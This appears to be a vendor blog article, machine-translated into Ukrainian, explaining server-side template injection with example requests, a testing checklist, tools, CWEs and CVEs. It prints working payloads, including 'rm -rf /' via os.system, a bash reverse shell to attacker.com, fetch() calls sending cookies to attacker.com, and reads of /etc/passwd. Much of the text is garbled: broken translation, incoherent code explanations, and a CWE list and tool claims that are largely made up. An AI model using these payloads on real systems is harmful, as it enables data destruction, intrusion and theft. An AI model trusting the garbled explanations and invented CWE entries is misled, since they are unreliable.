21 Лют, 2023

Впровадження шаблонів на стороні сервера

Vulnerability Assessment as a Service (VAaaS)

Tests systems and applications for vulnerabilities to address weaknesses.

Абревіатура для впровадження шаблонів на стороні сервера - SSTI.

SSTI розшифровується як впровадження шаблонів на стороні сервера.

Впровадження шаблонів на стороні сервера (SSTI) - це тип уразливості безпеки, яка може виникнути в веб-додатках, коли зловмисник може впровадити шкідливий код в шаблон на стороні сервера.

Шаблон на стороні сервера - це файл або фрагмент коду, який визначає, як веб-додаток буде відображати дані користувачам. Зазвичай він виконується на стороні сервера і генерує динамічний контент, який відправляється в браузер користувача. При атаці SSTI зловмисник може впровадити свій власний код у шаблон на стороні сервера, що дозволяє йому виконувати довільний код на сервері, маніпулювати даними або отримувати доступ до конфіденційної інформації.

Цей тип уразливості може бути особливо небезпечний, оскільки він дозволяє зловмиснику виконувати код на сервері, що може призвести до компрометації всієї системи. Поширені вектори атак для SSTI включають поля введення, параметри запиту та інші керовані користувачем вхідні дані, які не перевіряються або не обробляються додатком належним чином.

Типи впровадження шаблонів на стороні сервера

Існує кілька різних типів впровадження шаблонів на стороні сервера (SSTI), які можуть виникати у веб-додатках. Ось список деяких найбільш поширених типів:

  1. Інтерполяція рядків: це відбувається, коли вводяться користувачем дані вставляються безпосередньо в рядок у шаблоні на стороні сервера, що дозволяє зловмисникові вводити код в шаблон.

  2. Впровадження об'єкта: це відбувається, коли зловмисник може впровадити сериализованный об'єкт в шаблон на стороні сервера, який може бути десериализован і виконаний на сервері.

  3. Впровадження коду: це відбувається, коли зловмисник може впровадити довільний код у шаблон на стороні сервера, що дозволяє йому виконувати команди на сервері.

  4. Впровадження команд: це відбувається, коли користувальницький введення використовується в шаблоні на стороні сервера для створення команди, яка виконується на сервері, що дозволяє зловмиснику виконувати довільні команди.

  5. Впровадження виразу: це відбувається, коли зловмисник може впровадити шкідливе вираження в шаблон на стороні сервера, що дозволяє йому виконувати довільний код.

  6. Впровадження шаблону за допомогою сценаріїв на стороні клієнта: це відбувається, коли зловмисник може впровадити шкідливий код JavaScript в шаблон на стороні сервера, використовуючи атаку міжсайтового скриптинга (XSS).

Кожен з цих типів вразливостей SSTI може мати серйозні наслідки, і розробникам важливо знати про них і вживати заходів щодо їх запобігання в своїх веб-додатках.

Приклади запитів, які можна використовувати для тестування впровадження шаблонів на стороні сервера

Приклади запитів GET і POST в різних типах міжсайтового скриптової включення (XSSI):

Впровадження коду:

ОТРИМАТИ запит

У цьому типі атаки SSTI зловмисник може ввести довільний код у шаблон на стороні сервера, що дозволяє йому виконувати код на сервері.

				
					GET /search?q={{user_input}} HTTP/1.1
Host: example.com
				
			

У цьому прикладі 'qпараметр ' використовується для відправки даних користувача шаблон на стороні сервера. Зловмисник може скористатися цим, відправивши корисну навантаження, яка вводить довільний код:

				
					GET /search?q={{2+2}} HTTP/1.1
Host: example.com
				
			

У цій корисному навантаженні зловмисник вводить вираз '{{2+2}}'в самий 'q'параметр, який буде оцінюватися серверним шаблонизатором. Це призведе до того, що сервер поверне результат виразу, який є '4‘.

Зловмисник також може впровадити більше шкідливого коду, наприклад:

				
					GET /search?q={{import os; os.system('rm -rf /')}} HTTP/1.1
Host: example.com
				
			

У цій корисному навантаженні зловмисник вводить код, який використовує 'ос'модуль для виконання команди оболонки, яка видалить всі файли на сервері. Очевидно, що це дуже небезпечна корисне навантаження, але вона ілюструє потенційний збиток, який може бути нанесений атакою SSTI.

ВІДПРАВИТИ запит

У цьому типі атаки SSTI зловмисник може впровадити довільний код у шаблон на стороні сервера, що дозволяє йому виконувати команди на сервері. Ось приклад запиту POST в Burp Suite з вразливістю SSTI для впровадження коду:

				
					POST /submit_form HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

form_data={{exec('ls')}}
				
			

У цьому прикладі ' form_data'параметр використовується для виконання 'ls'команда на сервері, використовує 'exec'функція. Якщо шаблон на стороні сервера не виконує належну очистку і перевірку цих вхідних даних, зловмисник потенційно може ввести інші команди або код, які можуть бути виконані на сервері.

Ін'єкція об'єкта:

ОТРИМАТИ запит

У цьому типі атаки SSTI зловмисник може маніпулювати об'єктом, використовуваним серверним шаблонизатором для впровадження коду.

				
					GET /search?q={{user_input}} HTTP/1.1
Host: example.com
				
			

У цьому прикладі 'qпараметр ' використовується для відправки даних користувача шаблон на стороні сервера. Зловмисник може скористатися цим, відправивши корисну навантаження, яка впроваджує шкідливий об'єкт:

				
					GET /search?q={{''.__class__.__mro__[1].__subclasses__()[338]('/etc/passwd').read()}} HTTP/1.1
Host: example.com
				
			

У цій корисному навантаженні зловмисник вводить код Python, який викликає '__class__'атрибут порожній рядок '"'і витягує свій другий елемент '__mro__'атрибут. Це клас , який є підкласом 'type'і є це 'subprocess.Popen'клас, який може виконувати команди оболонки.

Потім код викликає 'subclasses()' метод проведення 'Popen 'клас, який повертає список всіх підкласів класу. Потім зловмисник вибирає 339-й клас у списку, який є 'file'клас.

ВІДПРАВИТИ запит

У цьому типі атаки SSTI зловмисник може впровадити сериализованный об'єкт в шаблон на стороні сервера, який може бути десериализован і виконаний на сервері. Ось приклад запиту POST в Burp Suite з вразливістю SSTI для впровадження об'єкта:

				
					POST /submit_form HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

form_data={{serialized_object}}
				
			

У цьому прикладі 'form_data'параметр використовується для відправки сериализованного об'єкта на сервер. Якщо шаблон на стороні сервера не виконує належну очистку і перевірку цих вхідних даних, зловмисник потенційно може впровадити шкідливий об'єкт, який може бути виконаний на сервері.

Інтерполяція рядків:

ОТРИМАТИ запит

У цьому типі атаки SSTI вводяться користувачем дані вставляються безпосередньо в рядок у шаблоні на стороні сервера, що дозволяє зловмисникові вводити код в шаблон. Ось приклад запиту GET в Burp Suite з вразливістю SSTI для інтерполяції рядків:

				
					GET /search?q={{user_input}} HTTP/1.1
Host: example.com
				
			

У цьому прикладі '{{user_input}}'значення безпосередньо вставляється в рядок у шаблоні на стороні сервера, що дозволяє зловмисникові впровадити шкідливий код в шаблон.

ВІДПРАВИТИ запит

У цьому типі атаки SSTI вводяться користувачем дані вставляються безпосередньо в рядок у шаблоні на стороні сервера, що дозволяє зловмисникові вводити код в шаблон.

				
					POST /submit_form HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

form_data=name={{user_input}}&message=Hello {{user_input}}!
				
			

У цьому прикладі 'name'і 'message'параметри використовуються для відправки даних користувача шаблон на стороні сервера. Той самий '{{user_input}}'значення безпосередньо вставляється в рядок у шаблоні на стороні сервера, що дозволяє зловмисникові впровадити шкідливий код в шаблон.

Наприклад, зловмисник може відправити корисну навантаження, подібну до наступної:

				
					name={{7*7}}&message=Hello {{7*7}}!
				
			

Ця корисна навантаження введе вираз '{{7*7}}'в обидва name and message параметри, в результаті чого сервер обчислює вираз і повертає 'name=49&message=Hello 49!‘.

Введення команди:

ОТРИМАТИ запит

У цьому типі атаки SSTI користувальницький введення використовується в шаблоні на стороні сервера для створення команди, яка виконується на сервері, що дозволяє зловмиснику виконувати довільні команди. Ось приклад запиту GET в Burp Suite з вразливістю SSTI для командного ін'єкції:

				
					GET /search?q=`{{user_input}}` HTTP/1.1
Host: example.com
				
			

У цьому прикладі '{{user_input}}'значення використовується для створення команди, яка виконується на сервері з використанням зворотних міток. Якщо шаблон на стороні сервера не виконує належну очистку і перевірку цих вхідних даних, зловмисник потенційно може ввести інші команди або код, які можуть бути виконані на сервері.

ВІДПРАВИТИ запит

У цьому типі атаки SSTI зловмисник може вводити команди оболонки в шаблон на стороні сервера, що дозволяє їм виконувати команди на сервері.

				
					POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

query={{user_input}}
				
			

У цьому прикладі query параметр використовується для відправки даних користувача шаблон на стороні сервера.

Зловмисник може скористатися цим, відправивши корисну навантаження, яка вводить команди оболонки:

				
					POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

query={{5*'5'}}
				
			

У цій корисному навантаженні зловмисник вводить вираз '{{5*'5'}}'в самий 'query'параметр, який буде оцінюватися серверним шаблонизатором. Це призведе до того, що сервер поверне результат виразу, який представляє собою рядок '"55555"‘.

Зловмисник також може вводити додаткові шкідливі команди, такі як:

				
					POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

query={{''.__class__.__mro__[1].__subclasses__()[313].__init__.__globals__['__builtins__']['__import__']('os').system('rm -rf /')}}

				
			

У цій корисному навантаженні зловмисник вводить код, який використовує 'ос'модуль для виконання команди оболонки, яка видалить всі файли на сервері. Очевидно, що це дуже небезпечна корисне навантаження, але вона ілюструє потенційний збиток, який може бути нанесений атакою SSTI.

Ін'єкція виразу:

ОТРИМАТИ запит

У цьому типі атаки SSTI зловмисник може впровадити шкідливе вираження в шаблон на стороні сервера, що дозволяє йому виконувати довільний код. Ось приклад запиту GET в Burp Suite з вразливістю expression injection SSTI:

				
					GET /search?q={{7*7}} HTTP/1.1
Host: example.com
				
			

У цьому прикладі '{{7*7}}'значення використовується для введення шкідливого вираження, яке буде виконано на сервері. Якщо шаблон на стороні сервера не виконує належну очистку і перевірку цих вхідних даних, зловмисник потенційно може впровадити інші вислови або код, які можуть бути виконані на сервері.

ВІДПРАВИТИ запит

У цьому типі атаки SSTI зловмисник може вводити довільні вирази в шаблон на стороні сервера, що дозволяє їм виконувати вирази на сервері.

				
					POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

query={{user_input}}
				
			

У цьому прикладі 'queryпараметр ' використовується для відправки даних користувача шаблон на стороні сервера. Зловмисник може скористатися цим, відправивши корисну навантаження, яка вводить довільні вирази:

				
					POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

query={{5*5}}
				
			

У цій корисному навантаженні зловмисник вводить вираз '{{5*5}}'в самий 'query'параметр, який буде оцінюватися серверним шаблонизатором. Це призведе до того, що сервер поверне результат вирази, яким є число '25‘.

Зловмисник може також вводити більш складні вирази, такі як:

				
					POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

query={{1 if '__import__' in dir() else 0}}
				
			

У цій корисному навантаженні зловмисник вводить вираз, який перевіряє, чи '__import__'функція доступна в поточному середовищі і повертає або '1'або '0- в залежності від результату. Це може бути використане зловмисником для визначення, чи доступні на сервері певні модулі або функції, що може допомогти в подальшій експлуатації.

Впровадження шаблону з допомогою клієнтських сценаріїв:

ОТРИМАТИ запит

У цьому типі атаки SSTI зловмисник може впровадити код шаблону з допомогою клієнтських сценаріїв, таких як JavaScript, і обманом змусити сервер виконати код.

				
					GET /search?query={{user_input}} HTTP/1.1
Host: example.com
				
			

У цьому прикладі 'queryпараметр ' використовується для відправки даних користувача шаблон на стороні сервера. Зловмисник може скористатися цим, ввівши код JavaScript, який буде виконуватися на стороні клієнта, і змінити шаблон на стороні сервера:

				
					GET /search?query=<script>document.write('{{5*5}}')</script> HTTP/1.1
Host: example.com
				
			

У цій корисному навантаженні зловмисник вводить '<script>'тег, який буде виконуватися на стороні клієнта. Код JavaScript всередині тега змінить шаблон на стороні сервера, ввівши вираз '{{5*5}}'. Це призведе до того, що сервер поверне результат вирази, яким є число'25‘.

Зловмисник також може впровадити більш шкідливий код JavaScript, наприклад:

				
					GET /search?query=<script>document.write('{{''.__class__.__mro__[1].__subclasses__()[313].__init__.__globals__['__builtins__']['__import__']('os').system('rm -rf /')}}')</script> HTTP/1.1
Host: example.com
				
			

У цій корисному навантаженні зловмисник вводить код JavaScript, який буде виконуватися на стороні клієнта, і змінює шаблон на стороні сервера для виконання команди оболонки, яка видалить всі файли на сервері. Очевидно, що це дуже небезпечна корисне навантаження.

Зловмисник також може впровадити більш складний сценарій на стороні клієнта, наприклад:

				
					GET /search?q=<script>fetch('http://attacker.com/cookie?cookie='+document.cookie)</script>{{1}} HTTP/1.1
Host: example.com
				
			

У цій корисному навантаженні зловмисник впроваджує спеціальний скрипт, який буде використовувати 'fetch()'функція відправки файлів cookie жертви на віддалений сервер, контрольований зловмисником. Це може дозволити зловмиснику здійснити перехоплення сеансу або інші атаки.

Розробникам важливо правильно очищати і перевіряти весь користувальницький введення, щоб запобігти атакам SSTI в своїх веб-додатках, включаючи впровадження сценаріїв на стороні клієнта. Це можна зробити шляхом фільтрації або екранування будь-якого користувача введення, який використовується в серверних шаблонах або клієнтських сценаріїв.

ВІДПРАВИТИ запит

У цьому типі атаки SSTI зловмисник може впровадити шкідливий код JavaScript в шаблон на стороні сервера, використовуючи атаку міжсайтового скриптинга (XSS). Ось приклад запиту POST в Burp Suite з впровадженням шаблону через уразливість SSTI для сценаріїв на стороні клієнта:

				
					POST /submit_form HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

form_data=<script>document.write('{{user_input}}')</script>
				
			

У цьому прикладі form_data параметр використовується для відправки скрипта, який вводить '{{user_input}}'значення в шаблоні на стороні сервера з використанням 'document.write'функція. Якщо шаблон на стороні сервера не виконує належну очистку і перевірку цих вхідних даних, зловмисник потенційно може запровадити інший шкідливий код JavaScript, який може бути виконаний на сервері.

Приклади використання впровадження шаблонів на стороні сервера

Кілька прикладів того, як уразливості впровадження шаблонів на стороні сервера (SSTI) можуть бути використані зловмисниками:

1. Витяг конфіденційної інформації зловмисник може використовувати уразливості SSTI для отримання конфіденційної інформації, такої як облікові дані або відомості про підключення до бази даних. Наприклад, зловмисник може відправити корисну навантаження, яка вводить код для друку вмісту '/etc/passwd'досьє:

				
					{{config.__class__.__init__.__globals__['os'].popen('/bin/cat /etc/passwd').read()}}
				
			

Ця корисна навантаження виконає 'cat /etc/passwd'команда на сервері і повертає вміст файлу.

2. Віддалене виконання коду: уразливості SSTI також можуть бути використані для виконання довільного коду на сервері. Наприклад, зловмисник може відправити корисну навантаження, яка вводить функцію Python, яка відкриває зворотний оболонку на сервері:

				
					{{config.__class__.__init__.__globals__['os'].popen('/bin/bash -c "bash -i >& /dev/tcp/attacker.com/8080 0>&1"').read()}}
				
			

Ця корисна навантаження виконає bash виконайте команду на сервері і відкрийте зворотний оболонку для комп'ютера зловмисника.

3. Межсайтовые сценарії (XSS): в деяких випадках уразливості SSTI можуть бути використані для впровадження шкідливих клієнтських сценаріїв в шаблони на стороні сервера. Це може призвести до межсайтовым скриптовою атак (XSS), коли зловмисник може вкрасти файли cookie або іншу конфіденційну інформацію з браузера жертви. Наприклад, зловмисник може відправити корисну навантаження, яка вводить скрипт для крадіжки файлів cookie жертви:

				
					{{'<script>fetch("http://attacker.com/steal.php?cookie="+document.cookie)</script>'}}
				
			

Ця корисна навантаження введе скрипт, який використовує 'fetch()'функція відправки файлів cookie жертви на сервер зловмисника.

4. Відмова в обслуговуванні (DoS): В деяких випадках уразливості SSTI можуть бути використані для проведення атаки типу "Відмова в обслуговуванні" (DoS), при якій сервер перевантажується запитами і перестає відповідати. Наприклад, зловмисник може відправити корисну навантаження, яка вводить цикл, який повторно відправляє запити на сервер:

				
					{% for i in range(1000000) %} 
   <img decoding="async" class="lazyload" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-src="https://example.com/foo?{{i}}"><noscript><img decoding="async" class="lazyload" src="https://example.com/foo?{{i}}"></noscript>
{% endfor %}
				
			

Ця корисна навантаження введе цикл, який відправляє мільйон запитів на сервер, потенційно перевантажуючи його ресурси і приводячи до збою.

Це всього лише кілька прикладів того, як уразливості SSTI можуть бути використані зловмисниками.

Методи підвищення привілеїв Впровадження шаблону на стороні сервера

Проблеми, пов'язані з впровадженням шаблонів на стороні сервера (SSTI), можуть призвести до підвищення привілеїв, якщо зловмисник може використовувати їх для отримання доступу до конфіденційних ресурсів або виконання дій, на виконання яких він не уповноважений. Ось кілька методів, які зловмисники можуть використовувати для підвищення привілеїв, використовуючи уразливості SSTI:

1. Доступ до конфіденційних файлів: уразливості SSTI можуть дозволити зловмиснику читати конфіденційні файли, до яких в іншому випадку у нього не було доступу. Наприклад, зловмисник може відправити корисну навантаження, яка вводить код для читання файла конфігурації, яка містить конфіденційну інформацію:

				
					{{config.__class__.__init__.__globals__['open']('/etc/myapp/config.ini').read()}}
				
			

Ця корисна навантаження виконає 'open()'функція для читання вмісту '/etc/myapp/config.ini'файл, який може містити облікові дані або іншу конфіденційну інформацію. Як тільки зловмисник отримає доступ до цієї інформації, він зможе використовувати її для подальшого підвищення своїх привілеїв.

2. Доступ до бази даних: якщо веб-додаток використовує базу даних для зберігання конфіденційної інформації, зловмисник може використовувати уразливості SSTI для виконання довільних SQL-запитів і отримання доступу до бази даних. Наприклад, зловмисник може відправити корисну навантаження, яка вводить код для виконання SQL-запиту, який витягує облікові дані користувача:

				
					{{config.__class__.__init__.__globals__['session'].query(User).filter_by(username='admin').first()}}
				
			

Ця корисна навантаження виконає SQL-запит для отримання першої запису користувача 'User'таблиця з іменем користувача 'admin'. Як тільки зловмисник отримає доступ до цієї інформації, він зможе використовувати її для подальшого підвищення своїх привілеїв.

3. Підвищення прав адміністратора: якщо веб-додаток має інтерфейс адміністратора або серверну частину, зловмисник може використовувати уразливості SSTI, щоб отримати доступ до цих інтерфейсів і виконувати дії, на виконання яких він не уповноважений. Наприклад, зловмисник може відправити корисну навантаження, яка вводить код для аутентифікації в якості адміністратора:

				
					{{config.__class__.__init__.__globals__['session'].query(User).filter_by(username='admin', password='p@ssw0rd').first()}}
				
			

Ця корисна навантаження виконає SQL-запит для отримання першої запису користувача 'User'таблиця з іменем користувача 'admin'і пароль від 'p@ssw0rd'. Як тільки зловмисник отримає доступ до облікового запису адміністратора, він зможе виконувати привілейовані дії у веб-додатку, такі як створення нових користувачів, зміна користувальницьких дозволів або зміна конфігурації програми.

4. Використання інших уразливостей: уразливості SSTI часто можна комбінувати з іншими уразливими для подальшого підвищення привілеїв. Наприклад, зловмисник може використовувати SSTI для отримання доступу до привілейованого облікового запису, а потім використовувати іншу вразливість, таку як впровадження SQL або вразливість для включення файлів, щоб отримати повний контроль над сервером.

Загальна методологія та контрольний список для тестування впровадження шаблонів на стороні сервера

Тестування впровадження шаблонів на стороні сервера (SSTI) включає в себе визначення вхідних точок, в яких використовуються шаблонизаторы, і створення корисних навантажень для впровадження шкідливого коду.

  1. Визначте вхідні точки: Першим кроком у тестуванні для SSTI є визначення вхідних точок, в яких використовуються шаблонизаторы. Це включає в себе такі області, як поля форми, параметри запиту, заголовки і файли cookie. Для ідентифікації цих вхідних точок можна використовувати Burp Suite або інші засоби проксі-перехоплення.

  2. Визначення механізму шаблонів: Після визначення вхідних точок наступним кроком є визначення механізму шаблонів. Популярні пакети шаблонів включають Jinja2, Twig, Smarty і Handlebars. Цю інформацію зазвичай можна знайти в документації до програми або шляхом перевірки вихідного коду.

  3. Створення корисних навантажень: Після визначення точок вводу і механізму шаблонів наступним кроком є створення корисних навантажень для впровадження в додаток. Ці корисні навантаження повинні бути призначені для перевірки механізму шаблонів на наявність вразливостей шляхом впровадження коду і тестування на виконання коду, включення файлів і інше шкідливе поведінку.

  4. Перевірка на виконання коду: Однією з основних цілей тестування для SSTI є перевірка виконання коду. Це можна зробити, ввівши код в додаток і спостерігаючи, чи виконується код на сервері. Наприклад, корисне навантаження, така як '{{7*7}}'може використовуватися для перевірки виконання коду шляхом введення простих арифметичних операцій.

  5. Перевірка на включення файлів: SSTI також можна використовувати для включення довільних файлів на сервері. Це можна зробити, ввівши код, що містить шлях до файлу шаблону. Наприклад, корисне навантаження, така як '{{config.__class__.__init__.__globals__['open']('/etc/passwd').read()}}'може бути використаний для включення '/etc/passwd'файл шаблону і прочитайте його вміст.

  6. Тест на впровадження команд: У деяких випадках SSTI може використовуватися для введення команд на сервер. Це можна зробити, ввівши код, який виконує команди на сервері. Наприклад, корисне навантаження, така як '{{config.__class__.__init__.__globals__['os'].popen('ls -la').read()}}'може бути використаний для виконання 'ls -la'команда і список вмісту каталогу.

  7. Тест на впровадження об'єктів: SSTI також можна використовувати для впровадження об'єктів на сервер. Це можна зробити, ввівши код, який створює об'єкти в шаблоні і керує ними. Наприклад, корисне навантаження, така як '{{request.__class__.__base__.__subclasses__()}}'може використовуватися для перерахування всіх підкласів 'request'заперечую.

  8. Перевірка на підвищення привілеїв: Після виявлення вразливостей SSTI наступним кроком є перевірка на підвищення привілеїв. Це включає в себе використання уразливості SSTI для отримання доступу до конфіденційних ресурсів або виконання дій, які не дозволені для поточного користувача.

  9. Повідомляти і усувати: Нарешті, про будь-які виявлені уразливості SSTI слід повідомляти розробникам програми і усувати їх як можна швидше. Це може включати виправлення додатка, оновлення механізму шаблонів або впровадження засобів контролю доступу для обмеження доступу до конфіденційних ресурсів.

Тестування для SSTI вимагає глибокого розуміння використовуваного движка шаблонів і вміння створювати корисні навантаження, які можуть використовувати уразливості в движку. Слідуючи контрольного списку та методології, подібною до описаної вище, тестувальники безпеки можуть ефективно виявляти і усувати уразливості SSTI у веб-додатках.

Набір інструментів для впровадження використання шаблонів на стороні сервера

Автоматизовані інструменти:

1. Burp Suite: популярний інструмент тестування безпеки веб-додатків, який включає в себе модулі для тестування та експлуатації SSTI, такі як "Зловмисник" і "Повторювач".

2. Metasploit: добре відомий інструмент тестування на проникнення, який включає в себе різні модулі для використання SSTI, включаючи "exploit/multi /http / jinja2_server_side_template_injection" і "exploit/ unix / webapp / django_celery_task_exec".

3. tplmap: автоматизований інструмент, спеціально розроблений для виявлення і використання вразливостей SSTI у веб-додатках.

4. Commix: інструмент, який можна використовувати для автоматизації процесу виявлення і використання різних вразливостей веб-додатків, включаючи SSTI.

5. RIPS: інструмент статичного аналізу коду, який включає в себе модуль для виявлення вразливостей SSTI в коді PHP.

6. Brakeman: інструмент статичного аналізу коду для додатків Ruby on Rails, який може виявляти уразливості SSTI.

7. NodeJsScan: A Node.js сканер безпеки, який включає в себе модуль для виявлення і використання вразливостей SSTI.

Ручні Інструменти:

 1. Python і Ruby REPL: Python і Ruby є широко використовуваними мовами сценаріїв, які можна використовувати для ручного тестування та використання вразливостей SSTI. Використовуючи оболонку REPL (цикл читання-оцінки-друку), зловмисник може відправити оброблену корисну навантаження уразливого додатком і спостерігати за відповіддю.

2. Інструменти розробника браузера: Більшість сучасних веб-браузерів включають інструменти розробника, які можна використовувати для ручного тестування та використання вразливостей SSTI. Наприклад, зловмисник може використовувати консоль JavaScript браузер для впровадження шкідливого коду в шаблони програми.

3. Curl: інструмент командного рядка, який можна використовувати для ручного відправки HTTP-запитів та перевірки вразливостей SSTI.

4. Wget: ще один інструмент командного рядка, який можна використовувати для ручного відправки HTTP-запитів та перевірки вразливостей SSTI.

5. HTTPie: інструмент командного рядка, який можна використовувати для відправки HTTP-запитів та перевірки відповідей, включаючи шаблони.

6. Grep: інструмент командного рядка, який можна використовувати для пошуку вразливостей SSTI у відповідях програми.

7. SED: інструмент командного рядка, який можна використовувати для зміни відповідей програми, щоб використовувати уразливості SSTI.

8. AWK: інструмент командного рядка, який можна використовувати для аналізу і зміни відповідей додатки для використання вразливостей SSTI.

9. Netcat: інструмент командного рядка, який можна використовувати для ручного відправки HTTP-запитів та перевірки вразливостей SSTI.

10. Telnet: ще один інструмент командного рядка, який можна використовувати для ручного відправки HTTP-запитів та перевірки вразливостей SSTI.

11. SQLMap: популярний інструмент для автоматизованого тестування та експлуатації SQL-ін'єкцій, який також включає модулі для експлуатації SSTI.

12. XSStrike: інструмент для автоматизованого тестування та експлуатації XSS, який включає в себе модуль для експлуатації SSTI.

13. ZAP: проксі-сервер Zed Attack - ще один популярний інструмент тестування безпеки веб-додатків, який включає в себе різні модулі для тестування та експлуатації SSTI.

Важливо відзначити, що ці інструменти призначені тільки для тестування і дослідницьких цілей і не повинні використовуватися для атаки або використання додатків без належного дозволу.

Середній бал CVSS для впровадження шаблонів на стороні Сервера

Загальна система оцінки вразливостей (CVSS) являє собою стандартну структуру для оцінки і оцінки серйозності вразливостей на основі їх впливу на конфіденційність, цілісність і доступність системи. Оцінка CVSS варіюється від 0 до 10, причому більш високі оцінки вказують на більш серйозні уразливості.

Оцінка CVSS для вразливості, пов'язаної з впровадженням шаблонів на стороні сервера (SSTI), залежить від декількох факторів, таких як вплив уразливості, простота використання і масштаб уразливості. Однак, в цілому, уразливості SSTI вважаються высокосерьезными, з середнім балом CVSS 7-9.

Висока серйозність вразливостей SSTI обумовлена тим фактом, що вони дозволяють зловмиснику виконувати довільний код або команди на сервері, що призводить до потенційної витоку даних, захоплення сервера або інших серйозних наслідків. Фактичний показник CVSS може змінюватись в залежності від конкретної уразливості, базового технологічного стека і рівня доступу, необхідного для використання уразливості.

Впровадження шаблона Common Weakness Enumeration (CWE) на стороні сервера

1. CWE-94: Ця слабкість, пов'язана з неправильним контролем коду, що генерується додатком, що може дозволити зловмисникам виконувати довільний код на сервері.

2. CWE-95: ця слабкість пов'язана з неправильною нейтралізацією керованих користувачем вхідних даних, що використовуються при динамічній оцінці коду, що може дозволити зловмисникам виконувати довільний код на сервері.

3. CWE-98: ця слабкість, пов'язана з неправильним контролем імені файлу, використовуваного в операторах include або require в PHP, що може дозволити зловмисникам включати і виконувати довільний код з віддалених серверів.

4. CWE-829: Ця слабкість пов'язана з включенням функцій з ненадійною сфери управління, таких як стороння бібліотека, які можуть містити уразливості або шкідливий код.

5. CWE-917: Ця слабкість пов'язана з неправильною нейтралізацією спеціальних символів, які використовуються в командах операційної системи, що може дозволити зловмисникам виконувати довільні команди на сервері.

6. CWE-918: Ця слабкість пов'язана з підробкою запитів на стороні сервера, що може дозволити зловмисникам відправляти запити з сервера в інші внутрішні чи зовнішні системи.

7. CWE-1199: Ця слабкість, пов'язана з неправильним обмеженням операцій в межах буфера пам'яті, що може призвести до переповнення буфера і іншим вразливостей, пов'язаних з пам'яттю.

8. CWE-1200: ця слабкість схожа на CWE-1199, але зустрічається в декількох функціях, що може ускладнити її виявлення і усунення.

9. CWE-1201: ця слабкість пов'язана з копіюванням буфера без перевірки розміру вхідних даних, що може призвести до класичного переповнення буфера.

10. CWE-1202: Ця слабкість схожа на CWE-1201, але зустрічається в декількох функціях, що може ускладнити її виявлення і усунення.

11. CWE-1203: Ця слабкість пов'язана з переповненням або обтіканням цілих чисел, що може призвести до несподіваного поведінки і вразливостей в системі безпеки.

12. CWE-1204: Ця слабкість пов'язана з неправильною реалізацією перевірок безпеки для стандарту, що може призвести до вразливостей, які важко виявити і виправити.

13. CWE-1205: Ця слабкість пов'язана з неправильною ініціалізацією, яка може призвести до неинициализированным змінним і іншим вразливостей.

14. CWE-1206: Ця слабкість пов'язана з умовами перегонів, які можуть виникати, коли кілька потоків або процесів одночасно звертаються до спільних ресурсів, і можуть призвести до вразливостей в системі безпеки.

15. CWE-1207: Ця слабкість пов'язана з використанням неявної наміри для конфіденційного зв'язку, що може призвести до розкриття інформації або іншим уразливості в системі безпеки.

16. CWE-1208: Цей недолік пов'язаний з поганою захистом конфіденційної інформації з низькими привілеями, що може призвести до несанкціонованого доступу та розкриття інформації.

17. CWE-1209: ця слабкість схожа на CWE-1199, але зустрічається в декількох функціях, що може ускладнити її виявлення і усунення.

18. CWE-1210: ця слабкість схожа на CWE-1209, але виникає при копіюванні буфера без перевірки розміру вхідних даних, що може призвести до класичного переповнення буфера.

19. CWE-1211: Ця слабкість, пов'язана з неправильним обмеженням операцій в межах буфера пам'яті, що може призвести до переповнення буфера і іншим вразливостей, пов'язаних з пам'яттю.

20. CWE-1212: ця слабкість схожа на CWE-1211, але виникає при копіюванні буфера без перевірки розміру вхідних даних, що може призвести до класичного переповнення буфера.

Ці CWE представляють різні типи вразливостей, пов'язаних з впровадженням шаблонів на стороні сервера, і їх вплив може варіюватися від розкриття інформації до віддаленого виконання коду.

Останні 10 CVE, пов'язані з впровадженням шаблонів на стороні сервера

CVE-2023-26092 Liima до 1.17.28 допускає впровадження шаблонів на стороні сервера.

CVE-2022-4300 У FastCMS була виявлена уразливість. Він був оцінений як критичний. Ця проблема впливає на деяку невідому обробку файлу / шаблон / редагування обробника шаблону компонента. Маніпуляція призводить до ін'єкції. Атака може бути ініційована віддалено. Експлойт був розкритий громадськості і може бути використаний. Цієї уразливості був присвоєний ідентифікатор VDB-214901.

CVE-2022-4282 У SpringBootCMS була виявлена уразливість, яка була класифікована як критична. Ця проблема пов'язана з деякими невідомими функціями управління шаблонами компонентів. Маніпуляція призводить до ін'єкції. Атака може бути запущена віддалено. Експлойт був розкритий громадськості і може бути використаний. VDB-214790 - це ідентифікатор, присвоєний цієї уразливості.

CVE-2022-42121 Уразливість SQL-ін'єкції в модулі компонування в Liferay Portal з 7.1.3 за 7.4.3.4 і Liferay DXP 7.1 до fix pack 27, 7.2 до fix pack 17, 7.3 до service pack 3 і 7.4 GA дозволяє зловмисникам з віддаленої аутентифікацією виконувати довільні команди SQL за допомогою створеної корисного навантаження, введеної в "Ім'я шаблону сторінки' поле.

CVE-2022-39365 Pimcore - це платформа управління даними і досвідом з відкритим вихідним кодом. До версії 10.5.9 керований користувачем рендеринг шаблонів twig в `Pimcore / Mail` і `ClassDefinition \ Layout \ Text` вразливий для впровадження шаблонів на стороні сервера, що може призвести до віддаленого виконання коду. Версія 10.5.9 містить виправлення для цієї проблеми. Як обхідного шляху можна застосувати виправлення вручну.

